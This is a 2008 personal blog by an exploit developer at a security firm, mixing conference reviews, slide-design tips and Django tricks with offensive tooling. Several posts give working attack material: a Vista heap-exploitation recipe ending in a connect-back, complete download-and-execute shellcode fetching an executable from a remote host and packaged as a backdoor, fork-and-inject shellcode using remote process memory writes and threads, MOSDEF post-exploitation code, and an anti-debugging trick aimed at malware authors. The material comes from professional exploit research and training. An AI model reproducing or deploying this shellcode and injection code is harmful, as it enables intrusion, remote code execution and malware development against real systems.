miércoles, 31 de diciembre de 2008

God bless the interweb



If you thought that the hype was all over... after the DNS and the CA affaire.
If you thought that the fun was all over... after Microsoft patch MS08-067.

You were wrong

The "Great" Bas Alberts is back on blogging: Bas on Bugs.

Happy new year.

lunes, 22 de diciembre de 2008

In my free time...

I torture Luciano Bello by sms him with "// MD_Update". That's the most popular Argentinian hobby after Soccer.

In other news, a cool post of Bas on credential reflection attack with CANVAS.

Peace

jueves, 18 de diciembre de 2008

If you are doing your homework correctly, you will get...



That's Ben Hawkes technique working on Vista for me. The chunk you see at the FreeList entry 127 is nothing more that the heap itself.

Guess what will happen next when i request the global heap's size ? I'll let that answer and the whole exercise for students in February.

I wonder what debugger Ben Hawkes use?

lunes, 8 de diciembre de 2008

Things to do in Japan, if you want to exploit the heap




Dear diary,
Sorry I have been sucking at blogging, but the true is I didn't do anything interesting these days, technically, at least. Unless, of course, you are part of some extinguished cult that worship django.

Anyway, since last friday I started updating my slides for the training I'm giving with the people of cyberdefense about heap exploitation in Tokyo, (which I must said that if you are interesting you should rush to reserve your ticket since it's getting full quite quick).
I update the information about windows 2003/XP SP2 exploitation, including theory and a bunch of exercise (Students will end up exploiting Brett Moore's Citrix Metaframe bug).
I'm also updating the Vista part, which was always the critical part of the class, since i gave it the last day and people were really tired by them ( And it was a lot of information of all the changes in the new implementation and ideas about how to exploit it).
And by doing some research i step into Ben Hawkes "Attacking the Vista Heap" for the RUXCON Conference.
When I think about heap exploitation, or even, generic exploitation at all, I can't stop thinking in a remote level, its probably my weakness but also my strengths. And is obviously a consequence of background education on linux explotation when I was a kid.
Did I ever told you, dear diary, that i did linux exploitation like all good boy scouts? Same as Bas, same as Sinan... and i spent 8 good months doing that for CANVAS until dave said "Windows time", and we all have to switch :>.
So when I heard about Ben Hawkes technique about writing the global heap structure (PHEAP from now on), I though it was good idea (i even though about it before reading it) but I didn't see a real usage on an remote, possible but not that simple to implement. (On remote heap exploitation, you should always follow sinan's law: If the technique have more steps than the strawberry pudding's receipt, its doesn't worth it).
But BANG! I read Ben Hawkes slides. And that was a jaw breaker!
Why? Because he follow the clicke phrase of Einstein "Everything should be made as simple as possible, but not simpler.".
Basically he ask himself: What would you do if you can write a pointer to a heap chunk with whatever you want? And he answer it quite simple, I point it to a different busy chunk.
And the math is simple, if you point the chunk's pointer to a a different busy chunk, when the chunk get's free, it will be available on the system. And so next allocation of the same size, it will return the chunk that it wasn't supposed to be free. And you will be able overwrite the data of that busy chunk.
Don't rush your rants, his obviously not pointing his chunk's pointer into a random busy chunk on the heap, that would be almost impossible to exploit reliable. Ben's magic goes much more further.
And this is nice trick: He basically makes the pointer land to the PHEAP, and since, the pheap is actually a chunk, the first of his own heap, he made the PHEAP chunk available for use to someone else. And if you combine that with a strdup [alloc/memcpy(yourstring)], you get realistic Vista Heap exploitation, without really relying on any -real- implementation trick.
And you don't need to know the address of the PHEAP, you probably just need to zero out the last numbers on the pointed chunk address ( 0x00452880 into 0x00452000, it depends obviously).
So the steps you have to do are quite simple:
1) Play with the heap in order to get a chunk's pointer next to your overwriting chunk
2) Overwrite the last numbers of that pointer to make it point to the pheap
3) Find a strdup, send a string, and overwrite the pheap including the heap cookie and the RtlCommitRutine.
4) Trigger some allocation extension and welcome your connectback!

Or you can do it in one big step, which is visiting me at Tokyo in February :>

Anyways, cheers to Ben for this great technique! I wishing to exchange some beers/wine some day!

miércoles, 12 de noviembre de 2008

H2HC Brazil

I'm back for a 4 days trip to Brazil for the H2HC conference.
This year was held on the beatiful city of Sao Paulo, which turn out to be huge, with about 11 millions in 1500 km square kilometers.
Sao Paulo is well known for the street art, they have graphitys all around the city and apparently the thing there is who made the graphity in the most extreme place, so they go from your regular Joe's house to the 8th floor front of a big builiding, they even paint on churches and big publicity signs (Although usually the most extreme ones are just letters in black).


Anyways, I gave a keynote for the first time in my life and I believe it work out pretty well, people seems to have fun even tho they didnt laugh at my "simpsons taught me you speak spanish" joke to break the ice. A lot of people notice the effort I did on the design and congrats me on that, it worth the effort for sure! If you want to take a look at it, it can be downloaded HERE.

After me, Edgard Barbosa talk about the new framework they are releasing for Hypervisor and seems pretty nice, I'll be waiting for the binary release (Check the COSEINC website for more info).



Steve Adegbite gave a presentation about the new Microsoft program, I was too far from the speakers and couldn't get the whole presentation. I know he talked about MS Ecosystem, which i'm suscribed too, so I will get the scoop from there.



Pablo's presentation on DEP rocks! I'm not sure if everyone got the idea of how cool and useful is the project he had been working on. He gave all the insight info, and I recommend to check out his slides for the whole thing.

Thats the last presentation I could see, since I spent my whole time on the Immunity booth we had at the H2HC:


But I did escape for a little peek at:
Francisco Amato's on Evilgrade:

Felibre Nobrega's Security on USB


And Julio Auto's Reverse Engineer (Which I finally met. Its a great and smart guy, too bad the presentation was in Portuguese):


The conference was really good, I get to practice my non-existance portuguese with two TV Station that make me an interview (Which was basically me showing how to own machines with CANVAS) and spent good times with a lot of new friends.

I would like to thanks Rodrigo "BSDaemon" Rubira Branco and Felipe Balestra for inviting us to the conference. They did an amazing job and I bet people will appreciate it.

Nico

sábado, 1 de noviembre de 2008

Caipirinha and Python tricks



Yes, I don't have anything to blog about. And I know the rule, "If you are not better than the silence, then shut up".
But here I'm been part of the interweb, where everyone show and nobody watch.

Anyways, been doing a lot django development lately (yeah, that's -how- flexible my work is) and since we have to do a lot of things dynamic, I will show you a couple of tricks that might be useful.

First, I have been learning lisp on my free time, and that is why lately my code is all one liners:

if a ? b : c
in python:
( b, c)[ a ]
example:
("bigger", "smaller or equal") [ a <20 ]

dynamic arguments:
function( *a, **b)
example:
function( **{ 'name': 'nico'} )
is the same as: function(name="nico")

django's trick:
Model's OR search:
from django.db.models import Q
model.objects.filter( Q(name="nico") | Q(lastname="waisman") )

COUNT and GROUP BY (undocumented):
Find the names that get more repeated:
c = model.objects.extra( select = {'entry_count': "count(name)"} )
c.query.group_by = ['name']

The information can get for the result object by accesing the "entry_count" fields. This will be unsorted, if you want to get the top 5 then (i wish there were another way, but couldn't find it):
names = sorted( c, lambda x,y: cmp( y.entry_count, x.entry_count) )

Don't you love lambda? Once you get used to the whole map, filter and reduce is like heroin, impossible to quit, unless you get into religion.

Now the Caipirinha part of the post: Next thursday Pablo Solé and I will be flying to the beatiful city of Sao Paulo in Brazil to present at the H2HC conference. Immunity will have a booth, so please came by to said hi so we don't feel lonely :).
We will be doing the NOP certification for the first time in latin america, so if you are around and hungry for stack overflows, contact us!

Peace

domingo, 26 de octubre de 2008

Thoughts on slide design

One of the things researcher should think about, whether they like it or not, is slide design.
Showing your results is an important part of the research, because its the point you justify the budget invested. Obviously, there is no need of slides when you got a remote on IIS 6, but for those of us who are mortals (a.k.a non-sinans) we need to show pretty things and make people happy.
This not only apply for business meeting but most important for conferences.
How many times you spent looking at lousy slides, full of bullet points that are in the middle between a paper and presentation slides. The true is, as Dave says, you have two types of public: the one in the conference and the people that will download the slides later.
But even if you have to keep in mind the online public, why not making your slides pretty?

I have been researching about the best way to improve my slides, for the keynote i'm presenting at H2HC in November.
And here are some tips I have been collecting.

Is not about the software
I have always thought that openoffice was ugly, and it actually is. But that doesn't mean you can make a wonderful presentation with it. Just avoid using their feature as much as possible. And if you have to do boxes, try to make them different as their are supposed to (drop the line, add transparency, shadow, use non-default color, etc).

DROP THE BULLETPOINT, USE IMAGES
This is probably the best advice I can give. You presentation gets on a completely new level when you start adding images. Either if you use them as background or as an accessory, you need to get good resolution image. Let me repeat this again because is important, GOOD RESOLUTION. Don't accept anything less than 1024x768.
If you can afford them, get them from www.istockphoto.com
If you are poor Argentinian, you can get a lot of amazing images from flickr.com, the "advance search" allow you to search only for Creative Commons-licensed content.

Use the rule of third.
I did a couple of photography's courses in the past and one of the most important lesson I got on composition was the famous rule of third. Basically you need to draw insivible lines dividing your photo vertically and horizontally in 3 parts, leaving 9 squares.
The points where the invisible lines cross each other, are the aureal points, which are the places where the viewer puts more emphasis when looking at a picture. A simple arrangement of the content can improve you slide a lot.

Balancing
Your slide need to be balanced. If you put all the attention on one side of your slide, there has to be text or image in the other side that can help the viewer keep their attention in the center of the image.




Just Phrases
Try to avoid as much text as possible. Only use phrases that help you with your statement. Slides are usually there to support your presentation rather than repeat what you have said.




Slides take tremendous amount of work that you might not be able to invest, but if you do it, you won't regret it. But no matter how pretty you made your slides, at the end, it's always about the speaker.

Peace

PS: For those of us who can read spanish, the axolotl magazine has publish Cari's work on Heian's poetry.

miércoles, 15 de octubre de 2008

Ba-Con and EkoParty 2008


Testing, testing. One, two, three.
Testing, testing. One, two, three.
Maybe this is working. I don't know. If you can even hear me. I don't know.
But if you can hear me, listen.

Conference season is over in Buenos Aires and it was a total success. Here is my small review

dragos Ba-Con was in a really nice hotel in downtown Buenos Aires. If they keep it in the same place next year is gonna be even better, since they are changing the hotel's street into a big sidewalk and thats the Irish Pub's zone.
I went through all the presentations, some of them I already read their ppt before, others were not really of my interest.

SecViz 2007: was interesting. Splunk people made a really nice flash animation feed by xml that show information over time. If I were a network admin, i will totally used just to make my work look fancier.

WPA/WPA2: It was good, actually the first time i ever went into a Cedric's talk.

A Practical Approach to Mitigate and Remove Malware: It was a really good presentation, not because the material was good but rather Ching Tim Meng's skills as a presenter. He can make you laugh over Indonesia's cassava farming policy.

Pass-the-hash Toolkit for Windows: The toolkit is pretty good, the research even better, specially if you keep in mind that Hernan did it back in 1992ad with softice. No symbols, no IDA. For some people it was like reversing with punched cards.

Hacking PXE without reboot: I'm glad i finally met Julien. We talked a lot but never met the man behind ERESI. The presentation was pretty good, at some point he said "and now we are gonna read assembler" and there was assembler.

Alex Sotirov's on Brownser: I did read the slides from their blackhat's presentation, but see it live was a jaw breaker. All my respect to Alex and Mark.

Eko-Party was amazing. You can see the organizers hard work on their tired faces. We did two trainnings the first day, Pablo gave a condensed version of Unethical Hacking and Dami did the same for Stack Overflow. A bunch of people came into the training, hopefully we are gonna repeat the experience next year. (I'm glad i didn't put myself into any training/presentation, since i loose my voice on day 1, as Mariano Nuñez said, I sound like the godfather).

I didn't went into many presentation since I had meeting and stuff like that. But I get to see the following:

1st day:
Keynote: Dave Aitel Even tho my review wont't fair, i'm just going to said the 90's joke was hilarious.
Pablo Sole's Adobe embedded talk First time seeing pablo talking and he did amazingly good on stage.
Late Night Talks: (this was a really nice idea, basically they invite everyone into a bar and people gave 20 minutes talk)
Fernando Gont on Something related with protocols: The presentation was too formal and technical (?!) to give it on a bar. I think only 3 people paid attention to their talk, and they were sitted on the same table. Anyways, fernando either has guts or he doesn't care. I think the dictionary add a new verb after him:
gont: For the verb "to gont"
Clarify the meaning of and discourse in a learned but boring way to a bunch of drunked hackers

Andrew Cushman's on Exploiting Index: It was good presentation for the bar and the result can be seen here (Apparently they know about our advisory leech script "ms.py", hehe)

2nd day:
Sebastián García - Dime cómo atacas y te diré quién eres: Profiling attackers by the way they press keys on a shell or made mistake. I have to left the presentation in the middle, but apparently at the end he just said "all the things just presented, they don't work anymore these days". Brutally honest, for that last phrase he got my respect.
Luciano Bello - Maximiliano Bertacchini Debian's OpenSSL random number generator Bug: Great presentation, lot of graphs of keys, computers, Alice and Bob. Although, I think there was a question never asked but i believe everyone wants to heard his answer "Did you regret publishing the bug?" :).
Nicolas Economou - Alfredo Ortega Smartphones (in)security: Nice presentation, the climax got into its maximum peek when they hack their iphone's abo and SMS Luciano.

That it. Been doing boring work the last week. If you want to heard the juicy details about this MS Tuesday, check out:
http://addxorrol.blogspot.com/
http://blogs.technet.com/swi/default.aspx

Last but not least, We are gonna be soon in Brazil for the H2HC! Pablo would be giving an cool presentation on ID's deplib.py and I will be giving the Keynote called "Apology of 0days". If you are in Sao Paulo the 8/9th of November, Immunity had a booth at the conference and we will be doing the NOP Certification

Cheers

sábado, 27 de septiembre de 2008

None

If there is someone real that actually read this blog and it happend to be in Buenos Aires next week, I will be attending Ba-Con and the Eko Party with the Immunities. Beer talks are welcome!

martes, 9 de septiembre de 2008

By the time you read this entry...



...Someone on the interweb would be trying to own you with a new MS Tuesday exploit.
There are three bugs which looks "interesting" (Keeping in mind that we have reduce our standard REALLY low. Back in the time everyone was laughing at client-side, myself included), I took the Windows Media Encoder bug (MS08_053) since I spent last week working on slides for the "Auditing ActiveX" section of the "Finding Bugs with ID" training that Dami is teaching next week.
Due to some scripts we pull out for the class (all the kudos to Justin) plus the combination of OleView it took less than an hour to find the bug, no bindiff need this time, the Advisory Workaround information is good enough to get this baby going.

Next Immunity Debugger release will bring this script, a brand new python shell based on ipython and variables.
Those of you who attending Dami's class would probably be finding working on this bug by the end of the day. I won't give away any hint other than MS08_053 is much more easy than class exercises, so look for the obvious.

lunes, 8 de septiembre de 2008

One line to own them all



The last Friday, i finally met Luciano Bello during the "DSP" (Drunken Security Professional, is like a 2600, but better).

For those of you who don't know Luciano, he find the infamous commented line on the openssl package in debian, ubuntu, etc which as a consequence it generate only 32k keys. (The Story short: Valgrind bitch about the line, a month-long discussion about the line, debian finally commented).

/*
* Don’t add uninitialised data.
MD_Update(&m,buf,j);
*/

Anyways, I must state that he surprise me in the good way, I though he will came with the opensource coat and will start fighting us with a tux in his right hand, trying to save the world or something, but he didn't.

We had a huge talk (most of them were laughs), at some point it was more like an interview. I regret myself not having a digital recorder (which i would mandatory buy from now on) because I pretty much forgot most of the stuffs.

As a researcher he is, in the area of cryptographic, when he discover it he wasn't looking at code as us will, instead he was comparing keys, weekends and weekends comparing keys until he realise something was not working correctly.

Something was not working as expected, keys were repeating 1 each 5000. So then he start looking into code.

The obliged question:
You could pretty much own every debian/ubuntu in the world with ssh... What did you pick?
The answer is none. And if you re ask the question including the word "hypothetical" (he wasn't 100% sure about the bug when he disclosure it), he will reply again None.
Luciano was so into the bug, testing, checking all his crypto theory that, and this is my feeling, he never realise of the consequence or what he really *had* between his hands.
He didn't realise ssh was affected until someone from debian told him and he did the math.

The conversation took around two hours, and after that I have the feeling (and this is personal) that he is a bit more into the dark side now, maybe not completely but he took a good peek.




From left to right: Luciano Bello, myself and Fran "Rulos Adolescentes" Amato (evilgrade's coder)


Btw, Luciano will be talking at the Eko Party, same as Pablo Solé and Dave Aitel from Immunity. I'll be around Eko and Ba-Con, look for the same version of me, but shaved.


Note: Picture taken by Leo from KungFoosion

lunes, 25 de agosto de 2008

That little thing called MOSDEF


In a previous post, I gave a small review of the concept behind MOSDEF. I explained that is a runtime C compiler written in Python that builds shellcode for a bunch of architectures/os and that it was used on CANVAS as a post-explotation platform.

Recently I have been writing a file browser. It's a simple task (specially if you have GUI skills, which I don't) and it has the advantage of showing all the potential that MOSDEF can bring to your framework, more over if you compare it with an RPC-based.

For the file-browser, I had to make to obviously list directories (a feature with luckily already had). In an RPC environment, you will have to something like this:

hFind = call("kernel32.dll!FindFirstFile", dir, &FindFileData) print FindFileData.cFileName while call("kernel32.dll!FindNextFile" hFind, &FindFileData) != 0: print FindFileData.cFileName

(In a *nix environment, you will need to system calls, getdents and stat)

It does look nice, but for each file in the directory you have the latency of the remote call been sent and the result returned over the wire (think about as your target on the the remote forests of Xi'an).

Now, in the case of MOSDEF what you need to do is a small C file that does the same thing as python, something like this:

vars={}
vars["dir"]=dir
code="""
#import "string","dir" as "dir"
#import "local","sendstring" as "sendstring"
#import "local","sendint" as "sendint"

#import "remote", "kernel32.dll|FindFirstFileA" as "FindFirstFile"

#import "remote", "kernel32.dll|FindNextFileA" as "FindNextFile"

#import "remote", "kernel32.dll|GetLastError" as "GetLastError"

struct FILETIME {
int dwLowDateTime; int dwHighDateTime; };
struct WIN32_FIND_DATA {
int dwFileAttributes;

struct FILETIME ftCreationTime;
struct FILETIME ftLastAccessTime;
struct FILETIME ftLastWriteTime;

int nFileSizeHigh; int nFileSizeLow;
int dwReserved0;
int dwReserved1;

char cFileName[260];

char cAlternateFileName[14];
};

void sendFILETIME(struct FILETIME *ft) {
sendint(ft->dwLowDateTime);

sendint(ft->dwHighDateTime);

}


void main() {
struct WIN32_FIND_DATA FindFileData;
int hFind;
int Error;
hFind = -1;
hFind = FindFirstFile(dir, &FindFileData);
if(hFind == -1) {
// We send a -1 mean there is no more file to sent
sendint(-1);
Error=GetLastError();
sendint(Error);
return 0;

} else {
sendint(FindFileData.dwFileAttributes);
sendint(FindFileData.nFileSizeLow);
sendFILETIME(&FindFileData.ftLastWriteTime);
sendstring(FindFileData.cFileName);
}

while (FindNextFile(hFind, &FindFileData) != 0) {
sendint(FindFileData.dwFileAttributes);
sendint(FindFileData.nFileSizeLow);
sendFILETIME(&FindFileData.ftLastWriteTime);
sendstring(FindFileData.cFileName);
}

Error = GetLastError();
sendint(-1);
sendint(Error); // IF ERROR_NO_MORE_FILE everything works ok :>
}

"""
self.clearfunctioncache()
request=self.compile(code, vars)
self.sendrequest(request)
countfile=0

files=[]

while 1:
attr = sint32(self.readint())
[...]

Before you mention it or you even think about it, yes, we called "Cripple C" for a good reason.
Anyways, as you imagine, this code gets compiled on your computer and it remotely resolve the addresses of the function needed. Here is the normal output you will see:

Dodir: C:\ kernel32.dll|FindFirstFileA not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|FindFirstFileA at 7c813559 kernel32.dll|FindNextFileA not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|FindNextFileA at 7c839019 kernel32.dll|GetLastError not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|GetLastError at 7c910331

Once MOSDEF had all the address in its cache, it send the piece of code which gets executed, after that just wait for the requested information to came back parsed and ready to be used on your application.

Here is the scoop:



Note: Yes, sometimes I do this kind of job.

jueves, 21 de agosto de 2008

Shellcode: You are doing it CORRECT


Recently I've been doing a lot of shellcode writing due some special needs we had for some exploits (Check post "Apology of forking shellcodes").

One of the things that get me excited about, other than finishing the citrix_metaframe bug, is the redesign of the shellcode framework that Bas did for the last release. The system is pretty simple to use and extend (I add myself a couple of features).

Instead of explaining the obvious, let me show you how it works with a simple example, a small download to IE cache and execute shellcode.

As most of you know, CANVAS use MOSDEF a runtime compiler for a bunch of different operating system and architecture (Linux x86, Linux SPARC, Linux PPC, Solaris SPARC, Solaris Intel, BSD, AIX, Win32, OSX x86, OSX PPC, etc). Explainning all the MOSDEF details it can take a long time and I usually enjoy my sleeping. Let go with some basics: MOSDEF is a C compiler writting in Python, so that means that it has a sintax parser, an intermediate language, an assembly compiler, etc. In this case we are gonna use the assembler to compile our shellcode.

Let's start from the begging, the main class for shellcoding is basecode:

def httpcachedownload(self, urlfile):

codegen = basecode()

Once we had a basecode object, we need to tell it what would be the win32 api functions that we are gonna need. This basically would add a special stub that would resolve each of those function before our shellcode is executing. (Function resolving is been done by going through the PEB, checking the loaded dlls and comparing strings names).

codegen.find_function("kernel32.dll!loadlibrarya")
codegen.find_function("kernel32.dll!createprocessa")
codegen.find_function("kernel32.dll!exitthread")

Obviously, kernel32.dll is always loaded, but there are api function which are not always loaded, such is the case of UrlDownloadtoCacheFileA inside urlmon.dll which is the function that is gonna do all the work from us. So what we need to do is, at resolving time, Loadlibrary urlmon.dll and later resolve UrlDownloadtoCacheFileA. Sounds hard, but is obviously simple with MOSDEF:

codegen.load_library('urlmon.dll')
codegen.find_function("urlmon.dll!urldownloadtocachefilea")

We had all our resolved hashesh created, now we want to send an "argument" to our shellcode, for this special case we will need the name of the url where our .exe would be. So we are gonna add a global variable named URLNAME and we will pass our url:

codegen._globals.addString("URLNAME", urlfile)

Now we need the actual code. Yeah, its an simple framework, but we cannot escape for coding the actual assembly:

codegen.main = """
xorl %eax, %eax
mov $0x208, %edx
//movl %ecx, %edx
sub %edx, %esp
movl %esp, %esi

leal URLNAME-getpcloc(%ebp),%edi // Note how simple we load the
// given argument
pushl %esi
// BATCHCODE
// ------

pushl %eax // pBSC
pushl %eax // dwReserved
pushl %edx // dwBufLength
pushl %esi // szFileName
pushl %edi // URL
pushl %eax // lpUnkCaller
call URLDOWNLOADTOCACHEFILEA-getpcloc(%ebp) // Calling a function
// needs the name
// with caps.
//returns a HFILE handle

pop %esi // get the file back

xorl %eax, %eax
movl $0x100, %ecx
subl %ecx, %esp
movl %esp, %edi // CLEAR the buffer
rep stosb

leal 16(%esp), %ecx
leal 84(%esp), %edx
mov $0x1, 0x2c(%edx)

pushl %ecx // PROCESS INFORMATION
pushl %edx // STARTUP INFO
pushl %eax
pushl %eax
pushl %eax // Creation Flag
pushl %eax
pushl %eax
pushl %eax
pushl %esi // command
pushl %eax
call CREATEPROCESSA-getpcloc(%ebp)
xorl %eax,%eax
pushl %eax
call EXITTHREAD-getpcloc(%ebp)
"""

Quite simple, isn't it? We call UrlDownloadtoCacheFileA with the given url, this would return the place where it saved the downloaded file on the szFileName argument (reg %esi) and later we simple call CreateProcessA.

Before i get any comment bitching about how this code can be optimized, I KNOW, i just didn't do it yet.

So the last thing we need return the assembly code formatted:

return codegen.get()


From your exploit, you can go like:

import shellcode.clean.windows.payloads as payloads
p = payloads.payloads()
code = p.httpdownload("http://172.16.71.2:8080/file.exe")
sc = p.assemble( code )

sc would have your shellcode. Now if you want to test it on a debugger without exploiting something or you just want to make a backdoor out of it:

import MOSDEF.pelib as pelib
myPElib = pelib.PElib()
exe = myPElib.createPEFileBuf(sc, gui=True)
file = open('test.exe', 'wb+')
file.write(exe)
file.close()


Peace

domingo, 17 de agosto de 2008

thing you care if you are writing malware...


There are million of ways to detect a debugger. I'm usually on the other side, "millions of ways to hide a debugger", but this time let me show you a simple but neat trick.
Call the win32 api function GetCommandLine and check if the last char is a space.
If it isn't, means its been executed from a debugger (tested on ID and windbg) or the command shell.


LPSTR ptr;
unsigned int ret;

ptr = GetCommandLine();
ret = strlen(ptr);
if(ptr[ret-1] == ' ')
printf("Carry On\n");
else
printf("Debugger detected!\n");

In other news, if you feel like having a good cabernet sauvignon, a juicy steak or listening to hackers talking about what they know Buenos Aires is your place the first days of October:
cansecwest's dragos is throwing a conference this year: Ba-Con
And exactly the day after, the second edition of the Eko-party including Dave Aitel as a keynote "Hacking Has An Economy of Scale" and Pablo Solé recon talk "Adobe javascript unleashed".

I'll be around!

viernes, 15 de agosto de 2008

deep deep...

What's lower than stealing a bug from someone and publish it?

Stealing a NULL pointer read...

http://www.nullcode.com.ar/ncs/crash/nsloo.htm*

You must be starving for fame, go fuzz an AV!


* The bug on that website was found by raddy long time ago

jueves, 7 de agosto de 2008

The exploit development's moebius strip

Let me talk a little about one of my main tasks at Immunity: solving
complex problems. Solving complex problems is an important and interesting job, specially for
some curious mind that enjoy the masochistic task of facing difficult
challenges every day.


On the opposite side of all the excitement described you go through a series
of moods on the different steps of the problem, which i had named the
"the exploit development's circle"...

EXCITEMENT: It begin with excitement about the new challenge you will be facing. You set up your environment and start getting familiar with all the details.

DECEPTION: With all the adrenaline flowing through your vein, your face hits directly into a wall . The challenge seems to be more complex than expected and all the common hopes of succeed get lower every minute.

DEPRESSION: After days of failure and using all your experience and your brain cells, the exploit remains exactly the same as the first day. The adrenaline in the blood is replaced by epic amounts of caffeine, you go to sleep and all you can think of is the time spent on a bug that might not be able to exploit it.

FAITH: You tell your boss this is impossible, that we need to switch into something else. He persistently gave you support but your ears are so occupied listening to your psychological repression mechanism telling you how bad you are at this and that you should apply for a job that requires less mental effort such as a clerk in your local video store. A millisecond before quitting this module for good , an idea emerge, you are not certain where it came from, maybe it was a signal sent by the old thyresias that you predict subconsciously with pigeon's flight from your windows or your last neuron burning the last portion of energy left, but the true is that your idea might work.

SUCCESS: It Work! Your last minute theory Works. All the glory, the little pieces of colorful paper dancing in the air, the clowns, the trumpets. Your exploit is working and the cold sweat is now gone. After all the congratulations, your self-steem is over the clouds and the routine testing (which you know they gonna work successfuly) your 15 minutes of glory will be long gone and the next task will bring the circle back to where it start.


martes, 5 de agosto de 2008

Apology of forking shellcode

*Note: To practice my writing i will start doing random post in english, most of them related with computers.*

I remember back in the time, when Dave was trying to chill-out from a hard day of work he start to do a simple "half and hour" hoolio (In Immunity's slang, hoolio is an exploit for bizarre software, named after -Julio FTP Server-), and so he start do savant. For those who never exploit, it takes a bit more than half-and-hour. Refer to Advance Stack Overflow.


The last thing I did, is fully port the neat exploit that Brett Moore did for Syscan to CANVAS, its a really interesting bug and a good proof of concept for windows 2003 explotation (Since today, we are gonna include it on the Heap overflow trainning). I'm not gonna get into the details since Brett cover them all up, i just wanna state that is a nice bug and with some work it can be exploit it quite reliable. The problem was different this time: Shellcode.

The great problem on shellcode execution is that the heap is screwed by whatever primitive you use, so it will eventually gonna crash on an allocation. It can be fixed, but you will never be 100% sure that you did it correctly, and probably you will end up with a big shellcode.

Our usual response to this problem is -Process Injection-, Bas (also known as The great Bas Alberts) wrote a great shellcode a couple of years ago, which inject mosdef shellcode into whatever process is given and execute the connect back. We tag-team a little bit on this exploit before he left to reduce shellcode size (since I only had around 0x300 bytes).

I did all of this without checking the thread privilege (kids, dont do that at home, we are security professional trained to do such dumb mistakes), so when i run my exploit nothing significant happens.

Since I believe in science, i look for the causes, and this time i found out the worst: I didn't have the SeDebugPrivilige. Usually is disable, and you can easily enable with a couple of lines of assembly, but this time it was not there. In simple words:
Good bye Inject shellcode, Welcome trouble.

Next step, ForkLoad shellcode. We had a template of what is supposed to be fork shellcode, but it was never finished, and so it was my task for the last couple of days. (sheesh, I did all this write up to get into this point).

In 2003 the Last Stage of Delirium group release a paper on win32 shellcode, which between other amazing tricks they talk about a Fork Load shellcode, they made it look simple:

1) Create the process in Suspended Mode

STARTUPINFO si = {0}; PROCESS_INFORMATION pi;
CONTEXT ctx;
CreateProcess(NULL, "cmd", NULL, NULL, 0, CREATE_SUSPENDED, NULL, &si, π);

2) Get Full context of the main thread

ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext( pi.Thread, &ctx);

3) Remote VirtualAllocate and Write our shellcode there.

v = VirtualAllocEx( pi.hProcess, NULL, 0x5000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory( pi.hProcess, v, buf, sizeof(buf), NULL);

4) Make the thread EIP points to our shellcode

ctx.ContextFlags = CONTEXT_FULL;
ctx.Eip = v;
SetThreadContext( pi.hThread, &ctx);

5) Since the thread is in SUSPENDED MODE, resume execution

ResumeThread(pi.hThread);


The shellcode injected will work perfectly, as far as it does simple things. You will have kernel32.dll and ntdll.dll loaded (but not initialized), so depending what shellcode do you might end up on a crash on non-initialized critical section usage or other similar behaviour.

To fix it, we have to do a couple of tweaks. Let me show you some code:

1) You need to distinguished where you are the forking or the forked process, we did that with a simple self-modifying code:

forkentry:
// if this marker is cleared this jmps to forkthis:
// we copy this entire payload over ;)
xorl %eax, %eax
incl %eax
test %eax,%eax
jz forkthis

// start of self modifying muck

// Self modifying code, change the incl for a nop
leal forkentry-getpcloc(%ebp),%ecx
movb $0x90, 2(%ecx) // 2(%ecx) points to the incl %eax

2) CreateProcess in suspended-mode

CreateProcess(NULL, "cmd", NULL, NULL, 0, CREATE_SUSPENDED, NULL, &si, π);

3) Remote VirtualAllocate and Write our shellcode there.

v = VirtualAllocEx( pi.hProcess, NULL, 0x5000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory( pi.hProcess, v, buf, sizeof(buf), NULL);

4) Get Full context of the main thread

ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext( pi.Thread, &ctx);

5) Create a Remote Thread and run it

CreateRemoteThread( hProcess, 0, 0, shellcode, 0, 0,0)

6) Resume the main thread execution of the main thread.

// pi.hThread
pushl %esi
call RESUMETHREAD-getpcloc(%ebp)

7a) If you are forking, exitthread

xorl %eax,%eax
pushl %eax
call EXITTHREAD-getpcloc(%ebp)

7b) If you are forked, sleep for one second to let the main thread initialize everything

kernel32.dll!Sleep( 0x1000)


And that takes around 0x2cd bytes (It can be optimized), including:
- LoadLibrary("WS2_32.dll")
- Resolving WS2_32.dll!wsastartup and calling it
- and including the first-stage mosdef shellcode (socket/connect/recv).


All the kudos for Bas and his recently re-write of our shellcode framework making this smoother experience.

lunes, 30 de junio de 2008

Reflexión o Barbarie

Dice sabiamente Ricoeur:
"La guerra es y sigue siendo a nuestros ojos, ese cataclismo, esa irrupción del caos, ese retorno a la lucha por la vida en las relaciones externas de Estado con Estado. Esta sinrazón histórica tiene que seguir siendo injustificada e injustificable; el acontecimiento que consagra la separación completa de la caridad y de la violencia, al hacer saltar el vínculo frágil - la prohibición del homicidio - que las mantenía juntas, no puede ser objeto de una deducción moral."

Paul Ricoeur en Historia y Verdad, habla de dos éticas bien distintas en el hombre analizado a través del cristianismo.
La primera, el agapé cristiano, es decir la ética del amor al projimo, del "amaros los unos a los otros", que es tambien la etica de la caridad, la de poner la otra mejilla. Esta etica propone una forma sacrifical del amor, al no haber una resistencia ante una violencia.
La segunda etica, la pone en manifiesto San Pablo en el capitulo XIII de la Carta a los Romanos, cuando introduce la figura del magistrado "Cada uno en esta vida debe someterse a las autoridades. Pues no hay autoridad que no venga de Dios, y los cargos públicos existen por voluntad de Dios.". Ricoeur dice que aqui Pablo rompe con la invitación al amor mutuo y traza esta figura de autoridad la cual castiga al que obra mal.
Y ahí la ruptura entre las dos eticas, la del sacrificio que devuelve bien por mal y la del Estado coactivo, que devuelve mal por mal.
Pero hay un unico e indicustible limite entre las dos que las puede matener juntas, la prohibición del homicido "no mataras". Ese es el limite del Estado, el respeto a la persona en su vida y su dignidad.

Hace pocos días, tuve la oportunidad de visitar el Museo Aeroespacial Steven F. Udvar-Hazy, donde tenian en exposición el Enola Gay, el infame Boeing B-29 que en 1945 lanzó la primera bomba atomica que explotó en la ciudad de Hiroshima, en Japon.
